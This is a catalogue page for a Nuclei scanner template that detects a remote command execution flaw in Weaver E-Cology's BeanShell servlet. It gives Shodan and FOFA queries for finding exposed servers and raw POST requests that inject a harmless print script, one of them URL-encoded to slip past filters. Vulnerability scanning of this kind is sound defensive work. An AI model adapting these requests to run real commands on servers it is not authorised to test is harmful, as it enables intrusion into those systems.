SecurityContext

weaver-ecology-bshservlet-rce: Weaver E-Cology BeanShell - Remote Command Execution

  • Template: weaver-ecology-bshservlet-rce
  • Name: Weaver E-Cology BeanShell - Remote Command Execution
  • Description: Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  • Severity: critical
  • Authors: SleepingBag945
  • Tags: beanshell, rce, weaver, vuln
  • Verified: yes
  • Max requests: 2
  • Directory: http/vulnerabilities
  • Path: http/vulnerabilities/weaver/weaver-ecology-bshservlet-rce.yaml
  • Digest: 4b0a00483046022100f1a2d556c9a5068fc8c40459028dfae0f69098c529448db0c0b2391306207139022100e7d5aff30efc7685e0864f55759b995d05a597f27639a3eaca499c53efccb95b
  • Created at: 2023-09-18T12:43:14Z
  • Updated at: 2026-04-14T14:09:18Z
  • Age in days: 1164
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/weaver/weaver-ecology-bshservlet-rce.yaml
  • Checked, none or zero: references, cves
  • Not known: impact, remediation

Classification

  • Cwe: CWE-95
  • Cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  • Not known: cvss score, cvss vector, epss score, epss percentile

Metadata

  • Fofa-query: app="泛微-协同办公OA"
  • Max-request: 2
  • Product: e-cology
  • Shodan-query: ecology_JSessionid
  • Vendor: weaver
  • Verified: yes

Products

ProductIndexedUrl
weaver:e-cologyyes/v1/products/weaver/e-cology

Labels

  • Name: Weaver E-Cology BeanShell - Remote Command Execution
  • Impact: Remote attackers can execute arbitrary commands on the server, potentially leading to full system compromise.
  • Remediation: Update to the latest version of Weaver E-Cology BeanShell.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: weaver-ecology-bshservlet-rce

info:

name: Weaver E-Cology BeanShell - Remote Command Execution

author: SleepingBag945

severity: critical

description: |

Weaver BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.

classification:

cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*

cwe-id: CWE-95

metadata:

verified: true

max-request: 2

vendor: weaver

product: e-cology

shodan-query: ecology_JSessionid

fofa-query: app="泛微-协同办公OA"

tags: beanshell,rce,weaver,vuln

http:

- raw:

- |

POST /weaver/bsh.servlet.BshServlet HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

bsh.script=print%28%22{{randstr}}%22%29%3B

- |

POST /weaver/bsh.servlet.BshServlet HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

%62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b

matchers-condition: and

matchers:

- type: regex

regex:

- "BeanShell Test Servlet"

- "(?i)<pre>(\n.*){{randstr}}"

condition: and

- type: status

status:

- 200

digest: 4b0a00483046022100f1a2d556c9a5068fc8c40459028dfae0f69098c529448db0c0b2391306207139022100e7d5aff30efc7685e0864f55759b995d05a597f27639a3eaca499c53efccb95b:922c64590222798bb761d5b6d8e72950

```